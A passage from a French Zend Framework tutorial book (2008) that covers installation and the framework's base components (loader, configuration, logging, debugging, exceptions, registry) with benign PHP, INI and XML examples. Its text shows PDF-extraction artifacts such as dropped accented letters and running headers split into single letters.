Pour tester Zend Framework, nous allons crer un fichier dans le rper-
toire htdocs qui fait appel un des nombreux composants. Crez le
fichier test.php dans le rpertoire htdocs :
Windows
Linux
Dans ce fichier, incluez le code PHP suivant :
Ce petit test affiche la date courante avec le composant Zend_Date du
framework. Si la date saffiche, cest que votre installation et votre confi-
guration sont correctes !
Figure 32
Tlchargement de Zend Framework
via le dpt Subversion (Windows)
$ cd library
$ svn checkout http://framework.zend.com/svn/framework/
X standard/trunk/library
C:/www/htdocs/test.php
$ vi /www/htdocs/test.php
<?php
// Affichage de la date courante
require 'Zend/Date.php';
$date = new Zend_Date();
echo $date;
Figure 33
Test de Zend Framework :
affichage de la date
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
26
Voil, nous venons dinstaller et de tester Zend Framework. Cest une
base ncessaire et suffisante pour aborder lensemble des chapitres de cet
ouvrage. Il vous reste maintenant dcouvrir les nombreuses fonction-
nalits et possibilits de modlisation que lon peut mettre en uvre avec
Zend Framework.
En rsum
Le tlchargement et linstallation de Zend Framework sont simples et
rapides. Vous trouverez un paquetage sur le site officiel du framework.
Vous devez disposer dun serveur HTTP comme Apache et dune confi-
guration PHP dont la directive include_path pointe sur le dossier cou-
rant . et la racine du framework (dossier Zend). Enfin, il est
galement possible de tlcharger Zend Framework via un dpt de
donnes Subversion disponible sur Internet.
AIDE Forum francophone
Il existe un site communautaire francophone qui
comporte de nombreux tutoriels et un forum actif
pour poser ses questions et changer. Si vous ren-
contrez des difficults dans linstallation du fra-
mework, nous vous conseillons daller y faire un
tour :
Bhttp://www.z-f.fr
3


I
n
s
t
a
l
l
a
t
i
o
n

e
t

p
r
i
s
e

e
n

m
a
i
n
Groupe Eyrolles, 2008
27
Groupe Eyrolles, 2008
chapitre 4
Groupe Eyrolles, 2008
Composants de base
La connaissance et la matrise de petits outils, parfois
insignifiants, peuvent faire la diffrence entre un codeur
inefficace et un dveloppeur performant. Cela sappelle la
culture, mme si dans le contexte de cet ouvrage elle se trouve
rduite au monde informatique.
SOMMAIRE
BMatriser les composants
de base
BConfigurer les outils essentiels
COMPOSANTS
BZend_Loader
BZend_Config
BZend_Log
BZend_Debug
BZend_Registry
BZend_Exceptions
MOTS-CLS
Bchargement
Bauto-chargement
Bconfiguration
Bdbogage
Bexceptions
Bregistre
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
30
Les composants proposs dans ce chapitre sont de petite taille. Ils permet-
tent daccompagner vos dveloppements de tous les jours en apportant des
solutions pratiques aux problmes courants. Ils ne ncessitent pas darchi-
tecture particulire, ils peuvent tre utiliss tels quels dans un fichier PHP.
Cest pourquoi nous avons choisi de commencer par leur tude.
Configuration de lenvironnement
Nous avons vu dans le chapitre prcdent comment installer lenvironne-
ment Zend Framework. Nous allons tout simplement nous en servir
pour utiliser les composants introduits dans ce chapitre.
Chaque section est ddie un composant et divise en deux parties :
une partie exemple qui propose un exemple dutilisation simple et
indpendant de tout le reste ;
une partie intgration lapplication qui propose une dmarche dint-
gration du composant au sein de notre projet exemple.
Afin dy gagner en lisibilit, tous les exemples seront stocks dans le
rpertoire htdocs/examples :
Crer le rpertoire contenant les exemples (sous Linux)
Le rpertoire contenant les exemples (sous Windows)
Zend_Loader
Zend_Loader permet de grer le chargement des classes du rpertoire
library. Il est utilis la place du include() ou du require() tradition-
nels. Il y a deux manires dutiliser Zend_Loader :
le chargement manuel consiste appeler Zend_Loader chaque fois
quon veut se servir dune classe ou dun fichier PHP ;
le chargement automatique consiste configurer Zend_Loader pour
quil soit implicitement appel lorsque PHP veut utiliser une classe.
On appelle ce procd autoload (auto-chargement).
$ mkdir /www/htdocs/examples
$ cd /www/htdocs/examples
C:/www/htdocs/examples
4


C
o
m
p
o
s
a
n
t
s

d
e

b
a
s
e
Groupe Eyrolles, 2008
31
Lauto-chargement est de plus en plus utilis. Non seulement il est plus
pratique, car il vite davoir ajouter des lignes dinclusion, mais il est
plus sr et naffecte pas les performances de manire significative dans
les versions rcentes de PHP.
Exemple dutilisation
Dans notre exemple, nous allons dabord utiliser Zend_Loader manuelle-
ment pour charger une classe, puis effectuer la dclaration ncessaire
un chargement automatique des classes.
Commencez par crer le fichier dexemple :
Sous Linux
Sous Windows
Chargement manuel dune classe
Imaginons que nous voulons utiliser le composant Zend_View et que nous
souhaitions pour cela employer Zend_Loader pour le charger. Voici com-
ment faire :
Chargement manuel dune classe
loadClass() peut aussi tre utilise pour nimporte quelle classe respec-
tant la convention de noms de Zend Framework. Cette convention
permet de trouver le fichier dans lequel la classe est dclare. Il faut pour
cela remplacer les traits de soulignement (underscores) _ des noms des
classes par des slashs /, et ajouter le suffixe .php. Ainsi Zend_View se
trouve dans Zend/View.php. Vous trouverez davantage dinformations
ce sujet dans le chapitre 15.
$ cd /www/htdocs/examples
$ vi zend_loader.php
C:/www/htdocs/examples/zend_loader.php
// Inclusion du composant Zend_Loader
include 'Zend/Loader.php';
// Utilisation de Zend_Loader pour utiliser Zend_View
Zend_Loader::loadClass('Zend_View');
// Cration dun objet Zend_View
$view = new Zend_View();
var_dump($view);
ALTERNATIVE Inclure un fichier sans classe
Il est aussi possible avec Zend_Loader
dinclure des fichiers, comme nous le ferions avec
un include PHP. Pour cela, il suffit dappeler
Zend_Loader::loadFile() au mme titre
que Zend_Loader::loadClass().
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
32
loadFile() est identique un include(), except quelques vrifications
sur le nom du fichier afin de dtecter dventuels caractres invalides.
Chargement automatique dune classe (autoload)
Le chargement automatique permet dviter dappeler include() ou
Zend_Loader::loadClass() chaque fois que lon veut utiliser une nou-
velle classe. Il faut pour cela quune rgle de conversion soit tablie entre
le nom du fichier et celui de la classe sy trouvant. Zend Framework pos-
sde une telle convention, comme nous venons de le voir.
Pour activer le chargement automatique, il suffit seulement de spcifier
que nous souhaitons auto-charger les classes :
Autoload avec Zend_Loader
Comme nous pouvons le remarquer dans le script prcdent, aucun
moment nous ne faisons appel include() ou
Zend_Loader::loadClass() avant dutiliser la nouvelle classe Zend_Date.
Aller plus loin avec Zend_Loader
Il est galement possible dutiliser dautres fonctionnalits de
Zend_Loader : tester si un fichier existe ou utiliser le chargement auto-
matique de classes avec des rgles diffrentes. Voici un exemple dutilisa-
tions avances de Zend_Loader :
Utilisation avance, zend_loader_advanced.php
// Inclusion de la classe Zend_Loader
include 'Zend/Loader.php';
// Dclaration du chargement automatique
Zend_Loader::registerAutoload();
// Utilisation dune classe sans chargement manuel
$date = new Zend_Date();
var_dump($date);
<?php
// Inclusion de Zend_Loader
include 'Zend/Loader.php';
// Chargement avec vrification
if (!Zend_Loader::isReadable('Zend/View.php')) {
throw new Exception('Unable to use Zend_View.');
}
Zend_Loader::loadClass('Zend_View');
var_dump(new Zend_View());
POUR OU CONTRE Le chargement automatique
Le chargement automatique est trs pratique en
dveloppement, car il permet dviter lutilisation
systmatique de linclusion manuelle, ce qui rduit
le nombre de lignes de code et les chargements
inutiles. En revanche, il est plus facile pour PHP
doptimiser un code qui contient un chargement
manuel. Il se peut quen chargement automatique,
votre application soit lgrement plus lente, sans
pour autant prtendre galer les ralentissements
dus aux requtes SQL non optimises. Aussi, selon
la complexit des inclusions, lautoload peut au
contraire tre lgrement plus rapide que linclu-
sion manuelle. Aujourdhui, le choix du charge-
ment automatique va de soi dans la trs grande
majorit des projets.
4


C
o
m
p
o
s
a
n
t
s

d
e

b
a
s
e
Groupe Eyrolles, 2008
33
Le rsultat de ce script est illustr sur la figure 4-1.
Bien sr, les deux dernires lignes de lexemple ne peuvent fonctionner
sans la cration dun fichier complmentaire contenant la classe
My_Loader. Cette classe doit comporter une mthode statique
autoload() qui prend en paramtre le nom de la classe charger. Voici le
contenu minimal de ce fichier :
Fichier /www/library/My/Loader.php
// Utilisation dune classe personnalise pour lauto-chargement
Zend_Loader::registerAutoload('My_Loader');
// Utilisation de Zend_Date avec auto-chargement implicite
var_dump(new Zend_Date());
Figure 41
Chargement automatique de classes
<?php
class My_Loader
{
/**
* Une fonction utilisateur pour le chargement des classes
*
* @param string $class
*/
public static function autoload($class)
{
include strtr($class, '_', '/') . '.php';
}
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
34
Intgration dans lapplication
Zend_Loader se configure souvent dans le bootstrap de lapplication. Voici
comment nous pouvons dclarer lutilisation de Zend_Loader pour une
utilisation manuelle :
Fichier /www/htdocs/index.php
Pour une utilisation automatique, il suffit dajouter la ligne denregistre-
ment telle que nous lavons vue dans lexemple prcdent :
Fichier /www/htdocs/index.php
Zend_Config
Lobjectif de Zend_Config est la manipulation de fichiers de configura-
tion. Avec ce composant, il est possible dutiliser plusieurs formats de
stockage ddis aux donnes de configuration :
le format ini utilis notamment dans le fichier php.ini qui contient
toutes les directives de configuration de PHP ;
le format XML ;
et enfin le format PHP lui-mme, si vous souhaitez mettre en place
votre configuration dans un fichier PHP (sous forme de tableau PHP).
<?php
// Utilisation de Zend_Loader
require_once 'Zend/Loader.php';
<?php
// Utilisation de Zend_Loader
require_once 'Zend/Loader.php';
// Chargement automatique des classes
Zend_Loader::registerAutoload();
// Appel du contrleur frontal (que nous tudierons plus loin)
Zend_Controller_Front::run('../application/controllers');
AIDE Choisir un format
Choisissez le format de stockage en fonction de vos besoins :
Le format ini est facile lire et diter, mais limit dans sa structure.
Le format XML permet dorganiser les donnes trs efficacement, mais il ncessite une
bonne mmoire ou la consultation frquente du fichier pour savoir o se trouvent les don-
nes.
Le format PHP est le plus performant et permet dinclure dans la configuration des proc-
dures dynamiques. Sa structure est plus souple et demande donc plus de rigueur.
T Bootstrap
Le bootstrap est le fichier damorage du modle
MVC. Il sagit de lunique point dentre de lappli-
cation, quelle que soit la requte HTTP la concer-
nant. En gros, cest un endroit dans lequel nous
configurerons tous les objets dont nous avons
besoin. Pour plus dinformations, voyez lannexe E
et le chapitre 6.
CONVENTION Autoload
Lapplication exemple de cet ouvrage utilise lauto-
load et nos prochains chapitres partent du principe
que lautoload est activ. Ainsi, plus aucune inclu-
sion ny sera prsente.
Figure 42
Diagramme de classes simplifi
du composant Zend_Config
4


C
o
m
p
o
s
a
n
t
s

d
e

b
a
s
e
Groupe Eyrolles, 2008
35
Exemples dutilisation
Dans cette partie, nous vous proposons un exemple simple dutilisation
de Zend_Config pour les trois formats de donnes : INI, XML et PHP.
Chaque fichier de configuration comporte deux sections dev et prod qui
incluent des directives daccs la base de donnes.
Avec un fichier ini
La gestion dun fichier de configuration au format ini se fait avec la
classe Zend_Config_Ini. Voici ce que contient le fichier de
configuration :
Fichier zend_config_ini.ini
Pour utiliser ce fichier de configuration, il nous faut crer un objet permet-
tant laccs aux directives. Voici comment faire cela avec Zend_Config_Ini :
Fichier zend_config_ini.php
; Directives de configuration de la production
[prod]
database.host = dbserver
database.user = dbuser
database.pass = dbprodpass
database.name = dbname
; Directives de configuration de la dev
; Ces directives hritent de la production
[dev : prod]
database.host = localhost
database.pass = dbpass
<?php
// Affichage en mode texte (pour la lisibilit de lexemple)
header('Content-type: text/plain; charset=utf-8');
// Utilisation de Zend_Config_Ini
include 'Zend/Config/Ini.php';
// Cration dun objet contenant les directives de dev
$configFile = dirname(__FILE__) . '/zend_config_ini.ini';
$config = new Zend_Config_Ini($configFile, 'dev');
// Utilisation de Zend_Config_Ini
echo 'Database : ' . $config->database->name . "\n";
echo 'Hostname : ' . $config->database->host . "\n";
echo 'Username : ' . $config->database->user . "\n";
echo 'Password : ' . $config->database->pass . "\n";
CULTURE Parse_ini_file()
Zend_Config_Ini utilise la fonction
parse_ini_file() de PHP pour effectuer
son travail. Il est fortement recommand daller
visiter la page de manuel de cette fonction afin
den apprendre plus sur la structure quun fichier
.ini doit respecter, ainsi que la signification de
certains caractres spciaux.
Bhttp://www.php.net/parse-ini-file
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
36
Cet exemple affiche les informations illustres sur la figure 4-3.
Comme nous pouvons le voir, le fichier ini est transform par
Zend_Config_Ini de manire pouvoir lutiliser travers un objet. Cette
classe effectue deux manipulations essentielles :
la mise en place dun hritage entre plusieurs sections ;
la possibilit de hirarchiser linformation avec loprateur . dans
les cls de configuration.
Avec un fichier XML
Il est possible dutiliser un fichier XML pour stocker des donnes de
configuration. Dans ce cas, nous allons utiliser la classe
Zend_Config_Xml. Voici quoi ressemble le fichier de configuration qui-
valent au fichier ini de lexemple prcdent :
Fichier zend_config_xml.xml
Le fichier PHP correspondant ressemble sensiblement celui que nous
avons vu lors du prcdent exemple avec le fichier ini. Les dclarations
sont les mmes ainsi que lutilisation, la seule chose qui change tant
lutilisation de la classe Zend_Config_Xml la place de Zend_Config_Ini :
Figure 43
Rsultat du script avec Zend_Config_Ini
<?xml version="1.0"?>
<config>
<prod>
<database>
<host>dbserver</host>
<user>dbuser</user>
<pass>dbprodpass</pass>
<name>dbname</name>
</database>
</prod>
<dev extends="prod">
<database>
<host>localhost</host>
<pass>dbpass</pass>
</database>
</dev>
</config>
REMARQUE Simplexml_load_file()
Zend_Config_Xml utilise la fonction PHP
simplexml_load_file() pour charger le
fichier XML. Celui-ci doit donc tre valide, comme
lattend la fonction PHP, cest--dire possder une
unique balise racine, tre encod en UTF-8 ou bien
prciser un encodage dans la balise XML et res-
pecter strictement la syntaxe XML.
Bhttp://www.php.net/simplexml-load-file
4


C
o
m
p
o
s
a
n
t
s

d
e

b
a
s
e
Groupe Eyrolles, 2008
37
Fichier zend_config_xml.php
Le rsultat de la version XML est le mme que celui obtenu avec la syn-
taxe ini (voir figure 4-3).
Dans un fichier XML, la hirarchie est donne par limbrication des
balises XML derrire les balises <prod> et <dev>. Zend_Config_Xml met
en place un mcanisme de hirarchie entre <dev> et <prod> par linter-
mdiaire de lattribut extends.
Avec un fichier PHP
la base, lutilisation de Zend_Config avec PHP ne contient pas de
mcanisme automatique pour lhritage de directives, tel que nous
venons de le voir avec XML et INI. Lexemple suivant vous montre
comment utiliser Zend_Config avec PHP, comme la documentation de
Zend Framework le prconise. Nous vous proposerons par la suite, dans
lutilisation avance de Zend_Config, une mthode permettant de cons-
truire une configuration plus souple et efficace en PHP.
Notre fichier de configuration PHP est tout simplement un tableau
dclarer dans un fichier, tel que le montre lexemple suivant :
Fichier zend_config_php.php
<?php
// Affichage en mode texte (pour la lisibilit de lexemple)
header('Content-type: text/plain; charset=utf-8');
// Utilisation de Zend_Config_Xml
include 'Zend/Config/Xml.php';
// Cration dun objet contenant les directives de dev
$configFile = dirname(__FILE__) . '/zend_config_xml.xml';
$config = new Zend_Config_Xml($configFile, 'dev');
// Utilisation de Zend_Config_Xml
echo 'Database : ' . $config->database->name . "\n";
echo 'Hostname : ' . $config->database->host . "\n";
echo 'Username : ' . $config->database->user . "\n";
echo 'Password : ' . $config->database->pass . "\n";
<?php
return array(
'database' => array(
'host' => 'dbserver',
'user' => 'dbuser',
'pass' => 'dbprodpass',
'name' => 'dbname'
)
);
CULTURE Chargement de section
Le constructeur de Zend_Config_Ini/_Xml
prend en deuxime paramtre facultatif un nom de
section charger. Si vous lutilisez, votre objet sera
directement plac dans la section dsire ; il ne sera
alors plus possible daccder aux autres sections.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
38
Lutilisation de ce fichier ressemble l aussi, peu de chose prs, ce que
nous avons dj vu :
Fichier zend_config.php
Le rsultat est lui aussi semblable celui des exemples prcdents avec
XML et INI, comme illustr sur la figure 4-3.
Dans cette mthode, le passage des informations via linclude dans le
constructeur de Zend_Config est un peu original.
Intgration dans notre application
Bien quil soit possible de mettre toute la configuration dans un seul et
mme fichier, ceci est peu recommand au point de vue de la lisibilit.
Notre application a choisi la solution du fichier ini, et dispose de trois
fichiers.
Lobjet Zend_Config peut tre transform en tableau PHP grce la
mthode toArray(). Aussi, plusieurs composants de Zend Framework
requrant des options de configuration sous forme de tableau PHP accep-
tent de mme un objet Zend_Config, cest le cas par exemple de Zend_Db,
Zend_Layout, Zend_Controller_Router_Rewrite...
Bootstrap, index.php
<?php
// Affichage en mode texte (pour la lisibilit de lexemple)
header('Content-type: text/plain; charset=utf-8');
// Utilisation de Zend_Config
include 'Zend/Config.php';
// Cration dun objet contenant les directives de dev
$config = new Zend_Config(include 'zend_config_php.php');
// Utilisation de Zend_Config_Xml
echo 'Database : ' . $config->database->name . "\n";
echo 'Hostname : ' . $config->database->host . "\n";
echo 'Username : ' . $config->database->user . "\n";
echo 'Password : ' . $config->database->pass . "\n";
$configMain = new Zend_Config_Ini($confPath . '/config.ini',
X 'dev');
try {
$db = Zend_Db::factory($configMain->database);
$db->getConnection();
// ...
RENVOI Zend_Db
Le composant Zend_Db est abord dans le
chapitre 5.
4


C
o
m
p
o
s
a
n
t
s

d
e

b
a
s
e
Groupe Eyrolles, 2008
39
Fichier config.ini
Voyez comme la mthode factory() de la classe Zend_Db utilise lobjet
Zend_Config. Nous lui passons la section database, matrialise par
$configMain->database et elle se dbrouille ensuite pour trouver les cls
et les valeurs dans cette section.
Concernant la session, cest peu prs identique, si ce nest quil faut passer
un tableau, cette fois-ci, la mthode de la classe concerne. Qu cela ne
tienne, la mthode toArray() de lobjet Zend_Config tombe pic :
Bootstrap, index.php
Fichier session.ini
[app]
database.adapter = pdo_mysql
database.params.dbname = zfbook
logfile = /logs/log.log
maxreservations = 3
[dev : app]
database.params.host = localhost
database.params.username = zfbook
database.params.password = zfbook
debug = 1
[prod : app]
database.params.host = my.prod.host
database.params.username = user
database.params.password = secretpass
debug = 0
$configSession = new Zend_Config_Ini($confPath .
X '/session.ini', 'dev');
Zend_Session::setOptions($configSession->toArray());
[dev]
use_cookies = on
use_only_cookies = on
use_trans_sid = off
strict = off
remember_me_seconds = 0
name = zfbook_session
gc_divisor = 10
gc_maxlifetime = 86400
gc_probability = 1
save_path = /tmp
RENVOI Zend_Session
Le composant Zend_Session est abord au
chapitre 8.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
40
Zend_Log
Zend_Log est utile pour faire de la remonte dinformation ou du dbo-
gage. Nous lutiliserons pour afficher ou rediriger vers un fichier des
messages derreur, dinformation ou de dbogage.
Quelques notions
Avant dutiliser Zend_Log, il convient de savoir que ce composant utilise
les notions essentielles suivantes :
chaque message trait par Zend_Log comporte un niveau de priorit. De
cette manire on peut paramtrer ce quon affiche ou ce quon envoie
dans des fichiers en production et en dveloppement ;
le flux de sortie de Zend_Log peut tre redirig soit vers la sortie stan-
dard (lcran), soit vers un fichier ou vers nimporte quel composant
capable de traiter ces informations.
Enfin, nous aborderons aussi ces quatre objets importants dans lutilisa-
tion de Zend_Log :
lenregistreur, instance de Zend_Log, permet de recueillir les messages.
Il peut y en avoir plusieurs, avec des rdacteurs et des filtres
diffrents ;
[prod : dev]
remember_me_seconds = 0
gc_divisor = 1000
gc_maxlifetime = 600
gc_probability = 1
Figure 44
Diagramme de classes simplifi
du composant Zend_Log
4


C
o
m
p
o
s
a
n
t
s

d
e

b
a
s
e
Groupe Eyrolles, 2008
41
le rdacteur, qui hrite de Zend_Log_Writer_Abstract, rcupre les
donnes pour les stocker ;
le filtre, qui implmente Zend_Log_Filter_Interface, slectionne les
donnes traiter. Un rdacteur peut avoir un ou plusieurs filtres et
ceux-ci peuvent tre associs un ou plusieurs rdacteurs ;
le formateur, qui implmente Zend_Log_Formatter_Interface, sert
formater les donnes dun rdacteur.
Exemple dutilisation
Dans le cadre de notre exemple, nous allons utiliser Zend_Log de manire
disposer dun outil de remonte dinformations efficace. Cet outil sera
utile non seulement pour acclrer les dveloppements, mais aussi pour
analyser le comportement de lapplication en production.
Exemple dutilisation de Zend_Log
Ce code simple configure un objet Zend_Log et enregistre ses vnements
dans un flux dirig vers la sortie standard de PHP, soit lcran (via
Apache). Ainsi, quelque chose ressemblant ce qui suit saffiche
lcran :
Sortie dun vnement
Par dfaut saffichent le timestamp (horodatage), la priorit, le code de la
priorit et le message derreur intercept. Il est possible de personnaliser
cette chane prformate en ajoutant des informations comme ladresse
IP du client.
<?php
require 'Zend/Log.php';
require 'Zend/Log/Writer/Stream.php';
// Cration de lobjet log
$log = new Zend_log();
// Enregistrement du journal sur lcran (affichage)
$writer = new Zend_Log_Writer_Stream("php://output");
// Ajout de lenregistreur dans lobjet log
$log->addWriter($writer);
try {
$obj->method();
} catch (Exception $e) {
$log->log($e, Zend_Log::INFO);
}
2008-07-16T19:13:04+02:00 INFO (6): Une erreur sest produite
PRATIQUE Affichage vers Firebug
Comme le montre la figure 4-4, un enregistreur
vers la console de Firebug est disponible. Celui-ci
ncessite un peu de configuration supplmentaire
selon le contexte. La documentation officielle
saura vous renseigner.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
42
Les priorits respectent la RFC-3164, la documentation officielle les
dtaille.
Utilisation conjointe avec Zend_Config
Il est possible dutiliser Zend_Log conjointement avec Zend_Config, de
manire configurer la destination des vnements du log (journal). Par
exemple, en dveloppement, il peut tre intressant dafficher le journal
lcran alors quen production, au contraire, il faut imprativement cacher
tout message lutilisateur et plutt les enregistrer dans un fichier.
zend_log-zend_config.php
zend_log-zend_config.ini
Nous crons une constante qui dfinit le mode dans lequel lapplication
doit fonctionner. Notez que nous chargeons une section spcifique dans
Zend_Config_Ini, ici la section dev. Les deux sections vont hriter du
futur code crit dans la section app, qui sera donc commun aux deux
modes de fonctionnement.
<?php
require 'Zend/Log.php';
require 'Zend/Log/Writer/Stream.php';
require 'Zend/Config/Ini.php';
// notre application fonctionne en mode 'dev'
define ('APP_MODE', 'dev');
// chargement de la section approprie
$configFile = dirname(__FILE__) . '/zend_log-zend_config.ini';
$config = new Zend_Config_Ini($configFile, APP_MODE);
$log = new Zend_log();
$writer = new Zend_Log_Writer_Stream($config->logfile);
$log->addWriter($writer);
[app]
[dev:app]
logfile = php://output
[prod:app]
logfile = /log/applog
4


C
o
m
p
o
s
a
n
t
s

d
e

b
a
s
e
Groupe Eyrolles, 2008
43
Intgration dans notre application
Nous utiliserons le composant Zend_Log dans le but denregistrer quel-
ques informations, notamment les exceptions et les erreurs rencontres.
Nous avons choisi de personnaliser le message enregistr dans le sup-
port. Par dfaut, il sagit de la chane <temps, nom-de-la-priorit, numro-
priorit, message-de-log>, et nous voulons ajouter ladresse IP du client,
ainsi que le navigateur utilis.
Bootstrap, index.php
Lobjet log $log est ensuite partag dans lapplication via le registre, que
nous verrons un peu plus loin dans ce chapitre, ou encore le contrleur
frontal abord dans les chapitres 6 et 7.
Zend_Debug
Ce composant destin au dbogage est un tout petit outil qui permet,
grce sa mthode statique dump(), de visualiser le contenu dune
variable. On peut spcifier cette mthode un texte dexplication et un
boolen qui indiquent si le contenu doit tre affich lcran ou non.
Laffichage est format grce des balises html <pre>, ce qui rend le code
facilement lisible dans un navigateur web.
Exemple dutilisation
Voici un exemple typique dutilisation de Zend_Debug.
$log = new Zend_Log($writer = new Zend_Log_Writer_Stream($appPath
X . $configMain->logfile));
// Ajout de paramtres enregistrer, adresse IP et navigateur
$log->setEventItem('user_agent',$_SERVER['HTTP_USER_AGENT']);
$log->setEventItem('client_ip',$_SERVER['REMOTE_ADDR']);

// Ajout des param. enregistrs dans le format du journal crire
$defaultFormat = Zend_Log_Formatter_Simple::DEFAULT_FORMAT;
$format = '%client_ip% %user_agent%' . $defaultFormat;
// Ajout du format du journal au log
$writer->setFormatter(new Zend_Log_Formatter_Simple($format));
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
44
zend_debug.php
Utilisation conjointe avec Zend_Log
Zend_Debug peut aussi retourner son contenu de manire le stocker.
Ainsi, un objet Zend_Log peut par exemple enregistrer dans un fichier
laffichage du contenu dun objet quelconque un moment.
zend_log-zend_debug.php
Le fait de mettre le troisime paramtre de dump() false va provoquer
le retour du contenu. Il ne sera donc pas affich, mais pass en paramtre
au log, sous forme de chane de caractres.
Notez aussi que nous avons utilis une mthode raccourcie info(), sur
notre objet log. Toutes les priorits sont utilisables comme noms de
mthodes.
Zend_Exception
La classe Zend_Exception est la classe mre de toute exception lance par
un composant Zend. En dautres termes, lorsquun composant, quel quil
soit, est victime dune dfaillance traduite en exception, il est possible
dintercepter cette exception en utilisant Zend_Exception.
<?php
require 'Zend/Debug.php';
// affichage des classes PHP dclares
Zend_Debug::dump(get_declared_classes());
<?php
require 'Zend/Log.php';
require 'Zend/Debug.php';
require 'Zend/Log/Writer/Stream.php';
$log = new Zend_log();
$writer = new Zend_Log_Writer_Stream("logs/logfile");
$log->addWriter($writer);
try {
$obj->method();
} catch (Exception $e) {
$log->log($e, Zend_Log::INFO);
// enregistrement de ltat de lobjet
$log->info(Zend_Debug::dump($obj, null, false));
}
4


C
o
m
p
o
s
a
n
t
s

d
e

b
a
s
e
Groupe Eyrolles, 2008
45
Utilisation classique de Zend_Exception
Ici la mthode factory() peut renvoyer plusieurs exceptions ; nous
interceptons dabord la plus spcifique, Zend_Db_Adapter_Exception,
pour finalement attraper la plus gnrique de Zend Framework :
Zend_Exception.
Zend_Registry
En une phrase, Zend_Registry sert grer une collection de valeurs. Ce
singleton peut tre considr comme un moyen dtourn de simuler des
variables globales.
Le premier danger dune variable globale est la redfinition accidentelle,
appele recouvrement. Si lun de vos composants utilise une variable
$name et quun autre se sert aussi dune variable $name diffrente, lutilisa-
tion conjointe de ces deux composants va gnrer un conflit d au fait
que ces deux variables portent le mme nom dans le mme espace.
Zend_Registry propose une mthode isRegistered(), afin de vrifier si
une variable y est dj stocke. Techniquement, Zend_Registry possde
les caractristiques suivantes :
Figure 45
Diagramme de classes simplifi non exhaustif
de larchitecture des exceptions
<?php
require 'Zend/Db.php';
try {
$db = Zend_Db::factory('pdo_mysql', $config);
$db->getConnection();
} catch (Zend_Db_Adapter_Exception $e) {
echo "impossible de se connecter la base";
} catch (Zend_Exception $e) {
echo "classe introuvable";
}
CULTURE Hritage des exceptions
Comme le montre partiellement la figure 4-5,
toutes les classes dexception de Zend Framework
hritent de Zend_Exception. Lattraper en
premier consiste intercepter une exception au
sens large, sachant toutefois quil reste toujours en
dessous la classe Exception de PHP.
CULTURE Pattern Registre
Zend_Registry est un motif de conception
(design pattern) Registre. Pour plus de dtails
sur les motifs de conception, rendez-vous en
annexe D.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
46
il sagit dun singleton, donc dune classe qui permet de ne crer
quun seul objet. Cet objet est le mme pour tous les composants et
tout le code qui utilise Zend_Registry ;
il sagit dune collection de valeurs, qui tend ArrayObject. Il est donc
possible ditrer lensemble de ces valeurs et de lutiliser comme un
tableau.
Exemple dutilisation
Le but de Zend_Registry est de partager des variables au sein de classes
ou dobjets. Il peut sutiliser de manire statique, de manire objet, ou
sous forme de tableau PHP. La manire la plus simple est laccs
statique :
Exemple de partage de variables
Comme on peut le voir, le registre stocke ce que lon veut du moment
que lon fournit un index (ici : monobjet). Le registre agit bien entendu
par rfrence : dans la classe UneClasse, nous modifions lobjet dans le
registre, et les modifications sont ensuite bien rpercutes sur la variable
$obj, prsente dans le contexte global de PHP.
Intgration dans lapplication
Nous utilisons le registre quelques endroits en vue de partager certains
objets.
<?php
require 'Zend/Registry.php';
$obj = new stdClass;
Zend_Registry::set('monobjet', $obj);
class UneClasse
{
public function __construct()
{
Zend_Registry::get('monobjet')->prop = 'value';
}
}
$a = new UneClasse;
echo $obj->prop; // value
T ArrayObject
ArrayObject est une interface prdfinie de la
Standard PHP Library (SPL) aborde dans
lannexe C. Il permet une utilisation similaire un
tableau ou un objet.
CONSEIL Pas de courts-circuits dangereux
Nabusez pas du registre. Une application bien
construite ne devrait pas voir ses objets se servir
trop souvent dans le registre. Ceci peut traduire un
problme de conception (anti-pattern), et les
dpendances entre objets sont alors revoir.
4


C
o
m
p
o
s
a
n
t
s

d
e

b
a
s
e
Groupe Eyrolles, 2008
47
Bootstrap, index.php
Remarquez que, concernant lobjet de base de donnes (abord en dtail
dans le chapitre 5), nous ne le mettons pas dans le registre, simplement
parce quil propose dj lui-mme une sorte de registre (via la classe
Zend_Db_Table_Abstract).
Aussi, le pattern contrleur frontal (dtaill dans les chapitres 6 et 7)
permet la propagation de paramtres dans le sous-systme MVC ; cest
une alternative Zend_Registry.
En rsum
Il est essentiel de connatre les composants de base. Ils sont petits, mais
souvent omniprsents dans les dveloppements avec Zend Framework.
Zend_Loader sert charger des fichiers de manire manuelle ou auto-
matique.
Zend_Config permet daccder un fichier de configuration, au format
de votre choix (.ini, .xml...) et permettant la sparation des environ-
nements (dveloppement, production...) avec hritage des directives.
Zend_Log offre une solution de gestion des messages de journalisa-
tion, qui peuvent tre affichs lcran, envoys dans un fichier ou
dans une base et typs selon leur degr de criticit.
Zend_Debug propose un moyen deffectuer une copie de sauvegarde
(dump) des variables PHP.
Zend_Registry permet denregistrer des donnes ou des objets accessi-
bles partout dans le code. Trs pratique, mais utiliser avec modration.
Zend_Exception est lexception de base de Zend Framework.
